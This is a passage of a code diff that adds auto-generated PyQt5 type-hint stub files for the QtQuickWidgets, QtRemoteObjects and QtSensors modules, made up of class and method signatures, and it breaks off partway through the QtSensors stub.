+# This file is part of PyQt5. +# +# This file may be used under the terms of the GNU General Public License +# version 3.0 as published by the Free Software Foundation and appearing in +# the file LICENSE included in the packaging of this file. Please review the +# following information to ensure the GNU General Public License version 3.0 +# requirements will be met: http://www.gnu.org/copyleft/gpl.html. +# +# If you do not wish to use this file under the terms of the GPL version 3.0 +# then you may purchase a commercial license. For more information contact +# info@riverbankcomputing.com. +# +# This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +# WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +import typing + +import PyQt5.sip + +from PyQt5 import QtWidgets +from PyQt5 import QtQuick +from PyQt5 import QtQml +from PyQt5 import QtGui +from PyQt5 import QtCore + +# Support for QDate, QDateTime and QTime. +import datetime + +# Convenient type aliases. +PYQT_SIGNAL = typing.Union[QtCore.pyqtSignal, QtCore.pyqtBoundSignal] +PYQT_SLOT = typing.Union[typing.Callable[..., None], QtCore.pyqtBoundSignal] + +# Convenient aliases for complicated OpenGL types. +PYQT_OPENGL_ARRAY = typing.Union[typing.Sequence[int], typing.Sequence[float], + PyQt5.sip.Buffer, None] +PYQT_OPENGL_BOUND_ARRAY = typing.Union[typing.Sequence[int], + typing.Sequence[float], PyQt5.sip.Buffer, int, None] + + +class QQuickWidget(QtWidgets.QWidget): + + class Status(int): + Null = ... # type: QQuickWidget.Status + Ready = ... # type: QQuickWidget.Status + Loading = ... # type: QQuickWidget.Status + Error = ... # type: QQuickWidget.Status + + class ResizeMode(int): + SizeViewToRootObject = ... # type: QQuickWidget.ResizeMode + SizeRootObjectToView = ... # type: QQuickWidget.ResizeMode + + @typing.overload + def __init__(self, parent: typing.Optional[QtWidgets.QWidget] = ...) -> None: ... + @typing.overload + def __init__(self, engine: QtQml.QQmlEngine, parent: QtWidgets.QWidget) -> None: ... + @typing.overload + def __init__(self, source: QtCore.QUrl, parent: typing.Optional[QtWidgets.QWidget] = ...) -> None: ... + + def focusNextPrevChild(self, next: bool) -> bool: ... + def quickWindow(self) -> QtQuick.QQuickWindow: ... + def setClearColor(self, color: typing.Union[QtGui.QColor, QtCore.Qt.GlobalColor]) -> None: ... + def grabFramebuffer(self) -> QtGui.QImage: ... + def paintEvent(self, event: QtGui.QPaintEvent) -> None: ... + def dropEvent(self, a0: QtGui.QDropEvent) -> None: ... + def dragLeaveEvent(self, a0: QtGui.QDragLeaveEvent) -> None: ... + def dragMoveEvent(self, a0: QtGui.QDragMoveEvent) -> None: ... + def dragEnterEvent(self, a0: QtGui.QDragEnterEvent) -> None: ... + def focusOutEvent(self, event: QtGui.QFocusEvent) -> None: ... + def focusInEvent(self, event: QtGui.QFocusEvent) -> None: ... + def event(self, a0: QtCore.QEvent) -> bool: ... + def wheelEvent(self, a0: QtGui.QWheelEvent) -> None: ... + def hideEvent(self, a0: QtGui.QHideEvent) -> None: ... + def showEvent(self, a0: QtGui.QShowEvent) -> None: ... + def mouseDoubleClickEvent(self, a0: QtGui.QMouseEvent) -> None: ... + def mouseMoveEvent(self, a0: QtGui.QMouseEvent) -> None: ... + def mouseReleaseEvent(self, a0: QtGui.QMouseEvent) -> None: ... + def mousePressEvent(self, a0: QtGui.QMouseEvent) -> None: ... + def keyReleaseEvent(self, a0: QtGui.QKeyEvent) -> None: ... + def keyPressEvent(self, a0: QtGui.QKeyEvent) -> None: ... + def timerEvent(self, a0: QtCore.QTimerEvent) -> None: ... + def resizeEvent(self, a0: QtGui.QResizeEvent) -> None: ... + def sceneGraphError(self, error: QtQuick.QQuickWindow.SceneGraphError, message: str) -> None: ... + def statusChanged(self, a0: 'QQuickWidget.Status') -> None: ... + def setSource(self, a0: QtCore.QUrl) -> None: ... + def format(self) -> QtGui.QSurfaceFormat: ... + def setFormat(self, format: QtGui.QSurfaceFormat) -> None: ... + def initialSize(self) -> QtCore.QSize: ... + def sizeHint(self) -> QtCore.QSize: ... + def errors(self) -> typing.List[QtQml.QQmlError]: ... + def status(self) -> 'QQuickWidget.Status': ... + def setResizeMode(self, a0: 'QQuickWidget.ResizeMode') -> None: ... + def resizeMode(self) -> 'QQuickWidget.ResizeMode': ... + def rootObject(self) -> QtQuick.QQuickItem: ... + def rootContext(self) -> QtQml.QQmlContext: ... + def engine(self) -> QtQml.QQmlEngine: ... + def source(self) -> QtCore.QUrl: ... diff --git a/OTHERS/Jarvis/ools/PyQt5/QtRemoteObjects.pyi b/OTHERS/Jarvis/ools/PyQt5/QtRemoteObjects.pyi new file mode 100644 index 00000000..1ef7e48d --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/QtRemoteObjects.pyi @@ -0,0 +1,194 @@ +# The PEP 484 type hints stub file for the QtRemoteObjects module. +# +# Generated by SIP 6.4.0 +# +# Copyright (c) 2021 Riverbank Computing Limited +# +# This file is part of PyQt5. +# +# This file may be used under the terms of the GNU General Public License +# version 3.0 as published by the Free Software Foundation and appearing in +# the file LICENSE included in the packaging of this file. Please review the +# following information to ensure the GNU General Public License version 3.0 +# requirements will be met: http://www.gnu.org/copyleft/gpl.html. +# +# If you do not wish to use this file under the terms of the GPL version 3.0 +# then you may purchase a commercial license. For more information contact +# info@riverbankcomputing.com. +# +# This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +# WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +import typing + +import PyQt5.sip + +from PyQt5 import QtCore + +# Support for QDate, QDateTime and QTime. +import datetime + +# Convenient type aliases. +PYQT_SIGNAL = typing.Union[QtCore.pyqtSignal, QtCore.pyqtBoundSignal] +PYQT_SLOT = typing.Union[typing.Callable[..., None], QtCore.pyqtBoundSignal] + + +class QAbstractItemModelReplica(QtCore.QAbstractItemModel): + + def initialized(self) -> None: ... + def setRootCacheSize(self, rootCacheSize: int) -> None: ... + def rootCacheSize(self) -> int: ... + def hasData(self, index: QtCore.QModelIndex, role: int) -> bool: ... + def isInitialized(self) -> bool: ... + def roleNames(self) -> typing.Dict[int, QtCore.QByteArray]: ... + def availableRoles(self) -> typing.List[int]: ... + def flags(self, index: QtCore.QModelIndex) -> QtCore.Qt.ItemFlags: ... + def headerData(self, section: int, orientation: QtCore.Qt.Orientation, role: int) -> typing.Any: ... + def columnCount(self, parent: QtCore.QModelIndex = ...) -> int: ... + def rowCount(self, parent: QtCore.QModelIndex = ...) -> int: ... + def hasChildren(self, parent: QtCore.QModelIndex = ...) -> bool: ... + def index(self, row: int, column: int, parent: QtCore.QModelIndex = ...) -> QtCore.QModelIndex: ... + def parent(self, index: QtCore.QModelIndex) -> QtCore.QModelIndex: ... + def setData(self, index: QtCore.QModelIndex, value: typing.Any, role: int = ...) -> bool: ... + def data(self, index: QtCore.QModelIndex, role: int = ...) -> typing.Any: ... + def selectionModel(self) -> QtCore.QItemSelectionModel: ... + + +class QRemoteObjectReplica(QtCore.QObject): + + class State(int): + Uninitialized = ... # type: QRemoteObjectReplica.State + Default = ... # type: QRemoteObjectReplica.State + Valid = ... # type: QRemoteObjectReplica.State + Suspect = ... # type: QRemoteObjectReplica.State + SignatureMismatch = ... # type: QRemoteObjectReplica.State + + def notified(self) -> None: ... + def stateChanged(self, state: 'QRemoteObjectReplica.State', oldState: 'QRemoteObjectReplica.State') -> None: ... + def initialized(self) -> None: ... + def setNode(self, node: 'QRemoteObjectNode') -> None: ... + def node(self) -> 'QRemoteObjectNode': ... + def state(self) -> 'QRemoteObjectReplica.State': ... + def isInitialized(self) -> bool: ... + def waitForSource(self, timeout: int = ...) -> bool: ... + def isReplicaValid(self) -> bool: ... + + +class QRemoteObjectDynamicReplica(QRemoteObjectReplica): ... + + +class QRemoteObjectAbstractPersistedStore(QtCore.QObject): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def restoreProperties(self, repName: str, repSig: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> typing.List[typing.Any]: ... + def saveProperties(self, repName: str, repSig: typing.Union[QtCore.QByteArray, bytes, bytearray], values: typing.Iterable[typing.Any]) -> None: ... + + +class QRemoteObjectNode(QtCore.QObject): + + class ErrorCode(int): + NoError = ... # type: QRemoteObjectNode.ErrorCode + RegistryNotAcquired = ... # type: QRemoteObjectNode.ErrorCode + RegistryAlreadyHosted = ... # type: QRemoteObjectNode.ErrorCode + NodeIsNoServer = ... # type: QRemoteObjectNode.ErrorCode + ServerAlreadyCreated = ... # type: QRemoteObjectNode.ErrorCode + UnintendedRegistryHosting = ... # type: QRemoteObjectNode.ErrorCode + OperationNotValidOnClientNode = ... # type: QRemoteObjectNode.ErrorCode + SourceNotRegistered = ... # type: QRemoteObjectNode.ErrorCode + MissingObjectName = ... # type: QRemoteObjectNode.ErrorCode + HostUrlInvalid = ... # type: QRemoteObjectNode.ErrorCode + ProtocolMismatch = ... # type: QRemoteObjectNode.ErrorCode + ListenFailed = ... # type: QRemoteObjectNode.ErrorCode + + @typing.overload + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + @typing.overload + def __init__(self, registryAddress: QtCore.QUrl, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def timerEvent(self, a0: QtCore.QTimerEvent) -> None: ... + def heartbeatIntervalChanged(self, heartbeatInterval: int) -> None: ... + def error(self, errorCode: 'QRemoteObjectNode.ErrorCode') -> None: ... + def remoteObjectRemoved(self, a0: typing.Tuple[str, 'QRemoteObjectSourceLocationInfo']) -> None: ... + def remoteObjectAdded(self, a0: typing.Tuple[str, 'QRemoteObjectSourceLocationInfo']) -> None: ... + def setHeartbeatInterval(self, interval: int) -> None: ... + def heartbeatInterval(self) -> int: ... + def lastError(self) -> 'QRemoteObjectNode.ErrorCode': ... + def setPersistedStore(self, persistedStore: QRemoteObjectAbstractPersistedStore) -> None: ... + def persistedStore(self) -> QRemoteObjectAbstractPersistedStore: ... + def registry(self) -> 'QRemoteObjectRegistry': ... + def waitForRegistry(self, timeout: int = ...) -> bool: ... + def setRegistryUrl(self, registryAddress: QtCore.QUrl) -> bool: ... + def registryUrl(self) -> QtCore.QUrl: ... + def acquireModel(self, name: str, action: 'QtRemoteObjects.InitialAction' = ..., rolesHint: typing.Iterable[int] = ...) -> QAbstractItemModelReplica: ... + def acquireDynamic(self, name: str) -> QRemoteObjectDynamicReplica: ... + def instances(self, typeName: str) -> typing.List[str]: ... + def setName(self, name: str) -> None: ... + def addClientSideConnection(self, ioDevice: QtCore.QIODevice) -> None: ... + def connectToNode(self, address: QtCore.QUrl) -> bool: ... + + +class QRemoteObjectHostBase(QRemoteObjectNode): + + class AllowedSchemas(int): + BuiltInSchemasOnly = ... # type: QRemoteObjectHostBase.AllowedSchemas + AllowExternalRegistration = ... # type: QRemoteObjectHostBase.AllowedSchemas + + def reverseProxy(self) -> bool: ... + def proxy(self, registryUrl: QtCore.QUrl, hostUrl: QtCore.QUrl = ...) -> bool: ... + def addHostSideConnection(self, ioDevice: QtCore.QIODevice) -> None: ... + def disableRemoting(self, remoteObject: QtCore.QObject) -> bool: ... + @typing.overload + def enableRemoting(self, object: QtCore.QObject, name: str = ...) -> bool: ... + @typing.overload + def enableRemoting(self, model: QtCore.QAbstractItemModel, name: str, roles: typing.Iterable[int], selectionModel: typing.Optional[QtCore.QItemSelectionModel] = ...) -> bool: ... + def setName(self, name: str) -> None: ... + + +class QRemoteObjectHost(QRemoteObjectHostBase): + + @typing.overload + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + @typing.overload + def __init__(self, address: QtCore.QUrl, registryAddress: QtCore.QUrl = ..., allowedSchemas: QRemoteObjectHostBase.AllowedSchemas = ..., parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + @typing.overload + def __init__(self, address: QtCore.QUrl, parent: QtCore.QObject) -> None: ... + + def hostUrlChanged(self) -> None: ... + def setHostUrl(self, hostAddress: QtCore.QUrl, allowedSchemas: QRemoteObjectHostBase.AllowedSchemas = ...) -> bool: ... + def hostUrl(self) -> QtCore.QUrl: ... + + +class QRemoteObjectRegistryHost(QRemoteObjectHostBase): + + def __init__(self, registryAddress: QtCore.QUrl = ..., parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def setRegistryUrl(self, registryUrl: QtCore.QUrl) -> bool: ... + + +class QRemoteObjectRegistry(QRemoteObjectReplica): + + def remoteObjectRemoved(self, entry: typing.Tuple[str, 'QRemoteObjectSourceLocationInfo']) -> None: ... + def remoteObjectAdded(self, entry: typing.Tuple[str, 'QRemoteObjectSourceLocationInfo']) -> None: ... + def sourceLocations(self) -> typing.Dict[str, 'QRemoteObjectSourceLocationInfo']: ... + + +class QRemoteObjectSourceLocationInfo(sip.simplewrapper): + + hostUrl = ... # type: QtCore.QUrl + typeName = ... # type: str + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, typeName_: str, hostUrl_: QtCore.QUrl) -> None: ... + @typing.overload + def __init__(self, a0: 'QRemoteObjectSourceLocationInfo') -> None: ... + + +class QtRemoteObjects(PyQt5.sip.simplewrapper): + + class InitialAction(int): + FetchRootSize = ... # type: QtRemoteObjects.InitialAction + PrefetchData = ... # type: QtRemoteObjects.InitialAction diff --git a/OTHERS/Jarvis/ools/PyQt5/QtSensors.pyi b/OTHERS/Jarvis/ools/PyQt5/QtSensors.pyi new file mode 100644 index 00000000..281246a3 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/QtSensors.pyi @@ -0,0 +1,664 @@ +# The PEP 484 type hints stub file for the QtSensors module. +# +# Generated by SIP 6.4.0 +# +# Copyright (c) 2021 Riverbank Computing Limited +# +# This file is part of PyQt5. +# +# This file may be used under the terms of the GNU General Public License +# version 3.0 as published by the Free Software Foundation and appearing in +# the file LICENSE included in the packaging of this file. Please review the +# following information to ensure the GNU General Public License version 3.0 +# requirements will be met: http://www.gnu.org/copyleft/gpl.html. +# +# If you do not wish to use this file under the terms of the GPL version 3.0 +# then you may purchase a commercial license. For more information contact +# info@riverbankcomputing.com. +# +# This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +# WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +import typing + +import PyQt5.sip + +from PyQt5 import QtCore + +# Support for QDate, QDateTime and QTime. +import datetime + +# Convenient type aliases. +PYQT_SIGNAL = typing.Union[QtCore.pyqtSignal, QtCore.pyqtBoundSignal] +PYQT_SLOT = typing.Union[typing.Callable[..., None], QtCore.pyqtBoundSignal] + + +class QSensorReading(QtCore.QObject): + + def value(self, index: int) -> typing.Any: ... + def valueCount(self) -> int: ... + def setTimestamp(self, timestamp: int) -> None: ... + def timestamp(self) -> int: ... + + +class QAccelerometerReading(QSensorReading): + + def setZ(self, z: float) -> None: ... + def z(self) -> float: ... + def setY(self, y: float) -> None: ... + def y(self) -> float: ... + def setX(self, x: float) -> None: ... + def x(self) -> float: ... + + +class QSensorFilter(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QSensorFilter') -> None: ... + + def filter(self, reading: QSensorReading) -> bool: ... + + +class QAccelerometerFilter(QSensorFilter): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QAccelerometerFilter') -> None: ... + + def filter(self, reading: QAccelerometerReading) -> bool: ... + + +class QSensor(QtCore.QObject): + + class AxesOrientationMode(int): + FixedOrientation = ... # type: QSensor.AxesOrientationMode + AutomaticOrientation = ... # type: QSensor.AxesOrientationMode + UserOrientation = ... # type: QSensor.AxesOrientationMode + + class Feature(int): + Buffering = ... # type: QSensor.Feature + AlwaysOn = ... # type: QSensor.Feature + GeoValues = ... # type: QSensor.Feature + FieldOfView = ... # type: QSensor.Feature + AccelerationMode = ... # type: QSensor.Feature + SkipDuplicates = ... # type: QSensor.Feature + AxesOrientation = ... # type: QSensor.Feature + PressureSensorTemperature = ... # type: QSensor.Feature + + def __init__(self, type: typing.Union[QtCore.QByteArray, bytes, bytearray], parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def bufferSizeChanged(self, bufferSize: int) -> None: ... + def efficientBufferSizeChanged(self, efficientBufferSize: int) -> None: ... + def maxBufferSizeChanged(self, maxBufferSize: int) -> None: ... + def userOrientationChanged(self, userOrientation: int) -> None: ... + def currentOrientationChanged(self, currentOrientation: int) -> None: ... + def axesOrientationModeChanged(self, axesOrientationMode: 'QSensor.AxesOrientationMode') -> None: ... + def skipDuplicatesChanged(self, skipDuplicates: bool) -> None: ... + def dataRateChanged(self) -> None: ... + def alwaysOnChanged(self) -> None: ... + def availableSensorsChanged(self) -> None: ... + def sensorError(self, error: int) -> None: ... + def readingChanged(self) -> None: ... + def activeChanged(self) -> None: ... + def busyChanged(self) -> None: ... + def stop(self) -> None: ... + def start(self) -> bool: ... + def setBufferSize(self, bufferSize: int) -> None: ... + def bufferSize(self) -> int: ... + def setEfficientBufferSize(self, efficientBufferSize: int) -> None: ... + def efficientBufferSize(self) -> int: ... + def setMaxBufferSize(self, maxBufferSize: int) -> None: ... + def maxBufferSize(self) -> int: ... + def setUserOrientation(self, userOrientation: int) -> None: ... + def userOrientation(self) -> int: ... + def setCurrentOrientation(self, currentOrientation: int) -> None: ... + def currentOrientation(self) -> int: ... + def setAxesOrientationMode(self, axesOrientationMode: 'QSensor.AxesOrientationMode') -> None: ... + def axesOrientationMode(self) -> 'QSensor.AxesOrientationMode': ... + def isFeatureSupported(self, feature: 'QSensor.Feature') -> bool: ... + @staticmethod + def defaultSensorForType(type: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> QtCore.QByteArray: ... + @staticmethod + def sensorsForType(type: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> typing.List[QtCore.QByteArray]: ... + @staticmethod + def sensorTypes() -> typing.List[QtCore.QByteArray]: ... + def reading(self) -> QSensorReading: ... + def filters(self) -> typing.List[QSensorFilter]: ... + def removeFilter(self, filter: QSensorFilter) -> None: ... + def addFilter(self, filter: QSensorFilter) -> None: ... + def error(self) -> int: ... + def description(self) -> str: ... + def setOutputRange(self, index: int) -> None: ... + def outputRange(self) -> int: ... + def outputRanges(self) -> typing.List['qoutputrange']: ... + def setDataRate(self, rate: int) -> None: ... + def dataRate(self) -> int: ... + def availableDataRates(self) -> typing.List[typing.Tuple[int, int]]: ... + def setSkipDuplicates(self, skipDuplicates: bool) -> None: ... + def skipDuplicates(self) -> bool: ... + def setAlwaysOn(self, alwaysOn: bool) -> None: ... + def isAlwaysOn(self) -> bool: ... + def isActive(self) -> bool: ... + def setActive(self, active: bool) -> None: ... + def isBusy(self) -> bool: ... + def isConnectedToBackend(self) -> bool: ... + def connectToBackend(self) -> bool: ... + def type(self) -> QtCore.QByteArray: ... + def setIdentifier(self, identifier: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> None: ... + def identifier(self) -> QtCore.QByteArray: ... + + +class QAccelerometer(QSensor): + + class AccelerationMode(int): + Combined = ... # type: QAccelerometer.AccelerationMode + Gravity = ... # type: QAccelerometer.AccelerationMode + User = ... # type: QAccelerometer.AccelerationMode + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def accelerationModeChanged(self, accelerationMode: 'QAccelerometer.AccelerationMode') -> None: ... + def reading(self) -> QAccelerometerReading: ... + def setAccelerationMode(self, accelerationMode: 'QAccelerometer.AccelerationMode') -> None: ... + def accelerationMode(self) -> 'QAccelerometer.AccelerationMode': ... + + +class QAltimeterReading(QSensorReading): + + def setAltitude(self, altitude: float) -> None: ... + def altitude(self) -> float: ... + + +class QAltimeterFilter(QSensorFilter): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QAltimeterFilter') -> None: ... + + def filter(self, reading: QAltimeterReading) -> bool: ... + + +class QAltimeter(QSensor): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def reading(self) -> QAltimeterReading: ... + + +class QAmbientLightReading(QSensorReading): + + class LightLevel(int): + Undefined = ... # type: QAmbientLightReading.LightLevel + Dark = ... # type: QAmbientLightReading.LightLevel + Twilight = ... # type: QAmbientLightReading.LightLevel + Light = ... # type: QAmbientLightReading.LightLevel + Bright = ... # type: QAmbientLightReading.LightLevel + Sunny = ... # type: QAmbientLightReading.LightLevel + + def setLightLevel(self, lightLevel: 'QAmbientLightReading.LightLevel') -> None: ... + def lightLevel(self) -> 'QAmbientLightReading.LightLevel': ... + + +class QAmbientLightFilter(QSensorFilter): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QAmbientLightFilter') -> None: ... + + def filter(self, reading: QAmbientLightReading) -> bool: ... + + +class QAmbientLightSensor(QSensor): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def reading(self) -> QAmbientLightReading: ... + + +class QAmbientTemperatureReading(QSensorReading): + + def setTemperature(self, temperature: float) -> None: ... + def temperature(self) -> float: ... + + +class QAmbientTemperatureFilter(QSensorFilter): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QAmbientTemperatureFilter') -> None: ... + + def filter(self, reading: QAmbientTemperatureReading) -> bool: ... + + +class QAmbientTemperatureSensor(QSensor): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def reading(self) -> QAmbientTemperatureReading: ... + + +class QCompassReading(QSensorReading): + + def setCalibrationLevel(self, calibrationLevel: float) -> None: ... + def calibrationLevel(self) -> float: ... + def setAzimuth(self, azimuth: float) -> None: ... + def azimuth(self) -> float: ... + + +class QCompassFilter(QSensorFilter): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QCompassFilter') -> None: ... + + def filter(self, reading: QCompassReading) -> bool: ... + + +class QCompass(QSensor): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def reading(self) -> QCompassReading: ... + + +class QDistanceReading(QSensorReading): + + def setDistance(self, distance: float) -> None: ... + def distance(self) -> float: ... + + +class QDistanceFilter(QSensorFilter): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QDistanceFilter') -> None: ... + + def filter(self, reading: QDistanceReading) -> bool: ... + + +class QDistanceSensor(QSensor): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def reading(self) -> QDistanceReading: ... + + +class QGyroscopeReading(QSensorReading): + + def setZ(self, z: float) -> None: ... + def z(self) -> float: ... + def setY(self, y: float) -> None: ... + def y(self) -> float: ... + def setX(self, x: float) -> None: ... + def x(self) -> float: ... + + +class QGyroscopeFilter(QSensorFilter): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QGyroscopeFilter') -> None: ... + + def filter(self, reading: QGyroscopeReading) -> bool: ... + + +class QGyroscope(QSensor): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def reading(self) -> QGyroscopeReading: ... + + +class QHolsterReading(QSensorReading): + + def setHolstered(self, holstered: bool) -> None: ... + def holstered(self) -> bool: ... + + +class QHolsterFilter(QSensorFilter): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QHolsterFilter') -> None: ... + + def filter(self, reading: QHolsterReading) -> bool: ... + + +class QHolsterSensor(QSensor): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def reading(self) -> QHolsterReading: ... + + +class QHumidityReading(QSensorReading): + + def setAbsoluteHumidity(self, value: float) -> None: ... + def absoluteHumidity(self) -> float: ... + def setRelativeHumidity(self, percent: float) -> None: ... + def relativeHumidity(self) -> float: ... + + +class QHumidityFilter(QSensorFilter): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QHumidityFilter') -> None: ... + + def filter(self, reading: QHumidityReading) -> bool: ... + + +class QHumiditySensor(QSensor): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def reading(self) -> QHumidityReading: ... + + +class QIRProximityReading(QSensorReading): + + def setReflectance(self, reflectance: float) -> None: ... + def reflectance(self) -> float: ... + + +class QIRProximityFilter(QSensorFilter): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QIRProximityFilter') -> None: ... + + def filter(self, reading: QIRProximityReading) -> bool: ... + + +class QIRProximitySensor(QSensor): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def reading(self) -> QIRProximityReading: ... + + +class QLidReading(QSensorReading): + + def frontLidChanged(self, closed: bool) -> None: ... + def backLidChanged(self, closed: bool) -> None: ... + def setFrontLidClosed(self, closed: bool) -> None: ... + def frontLidClosed(self) -> bool: ... + def setBackLidClosed(self, closed: bool) -> None: ... + def backLidClosed(self) -> bool: ... + + +class QLidFilter(QSensorFilter): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QLidFilter') -> None: ... + + def filter(self, reading: QLidReading) -> bool: ... + + +class QLidSensor(QSensor): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def reading(self) -> QLidReading: ... + + +class QLightReading(QSensorReading): + + def setLux(self, lux: float) -> None: ... + def lux(self) -> float: ... + + +class QLightFilter(QSensorFilter): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QLightFilter') -> None: ... + + def filter(self, reading: QLightReading) -> bool: ... + + +class QLightSensor(QSensor): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def fieldOfViewChanged(self, fieldOfView: float) -> None: ... + def setFieldOfView(self, fieldOfView: float) -> None: ... + def fieldOfView(self) -> float: ... + def reading(self) -> QLightReading: ... + + +class QMagnetometerReading(QSensorReading): + + def setCalibrationLevel(self, calibrationLevel: float) -> None: ... + def calibrationLevel(self) -> float: ... + def setZ(self, z: float) -> None: ... + def z(self) -> float: ... + def setY(self, y: float) -> None: ... + def y(self) -> float: ... + def setX(self, x: float) -> None: ... + def x(self) -> float: ... + + +class QMagnetometerFilter(QSensorFilter): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QMagnetometerFilter') -> None: ... + + def filter(self, reading: QMagnetometerReading) -> bool: ... + + +class QMagnetometer(QSensor): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def returnGeoValuesChanged(self, returnGeoValues: bool) -> None: ... + def setReturnGeoValues(self, returnGeoValues: bool) -> None: ... + def returnGeoValues(self) -> bool: ... + def reading(self) -> QMagnetometerReading: ... + + +class QOrientationReading(QSensorReading): + + class Orientation(int): + Undefined = ... # type: QOrientationReading.Orientation + TopUp = ... # type: QOrientationReading.Orientation + TopDown = ... # type: QOrientationReading.Orientation + LeftUp = ... # type: QOrientationReading.Orientation + RightUp = ... # type: QOrientationReading.Orientation + FaceUp = ... # type: QOrientationReading.Orientation + FaceDown = ... # type: QOrientationReading.Orientation + + def setOrientation(self, orientation: 'QOrientationReading.Orientation') -> None: ... + def orientation(self) -> 'QOrientationReading.Orientation': ... + + +class QOrientationFilter(QSensorFilter): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QOrientationFilter') -> None: ... + + def filter(self, reading: QOrientationReading) -> bool: ... + + +class QOrientationSensor(QSensor): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def reading(self) -> QOrientationReading: ... + + +class QPressureReading(QSensorReading): + + def setTemperature(self, temperature: float) -> None: ... + def temperature(self) -> float: ... + def setPressure(self, pressure: float) -> None: ... + def pressure(self) -> float: ... + + +class QPressureFilter(QSensorFilter): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QPressureFilter') -> None: ... + + def filter(self, reading: QPressureReading) -> bool: ... + + +class QPressureSensor(QSensor): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def reading(self) -> QPressureReading: ... + + +class QProximityReading(QSensorReading): + + def setClose(self, close: bool) -> None: ... + def close(self) -> bool: ... + + +class QProximityFilter(QSensorFilter): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QProximityFilter') -> None: ... + + def filter(self, reading: QProximityReading) -> bool: ... + + +class QProximitySensor(QSensor): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def reading(self) -> QProximityReading: ... + + +class qoutputrange(sip.simplewrapper): + + accuracy = ... # type: float + maximum = ... # type: float + minimum = ... # type: float + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'qoutputrange') -> None: ... + + +class QTapReading(QSensorReading): + + class TapDirection(int): + Undefined = ... # type: QTapReading.TapDirection + X = ... # type: QTapReading.TapDirection + Y = ... # type: QTapReading.TapDirection + Z = ... # type: QTapReading.TapDirection + X_Pos = ... # type: QTapReading.TapDirection + Y_Pos = ... # type: QTapReading.TapDirection + Z_Pos = ... # type: QTapReading.TapDirection + X_Neg = ... # type: QTapReading.TapDirection + Y_Neg = ... # type: QTapReading.TapDirection + Z_Neg = ... # type: QTapReading.TapDirection + X_Both = ... # type: QTapReading.TapDirection + Y_Both = ... # type: QTapReading.TapDirection + Z_Both = ... # type: QTapReading.TapDirection + + def setDoubleTap(self, doubleTap: bool) -> None: ... + def isDoubleTap(self) -> bool: ... + def setTapDirection(self, tapDirection: 'QTapReading.TapDirection') -> None: ... + def tapDirection(self) -> 'QTapReading.TapDirection': ... + + +class QTapFilter(QSensorFilter): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QTapFilter') -> None: ... + + def filter(self, reading: QTapReading) -> bool: ... + + +class QTapSensor(QSensor): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def 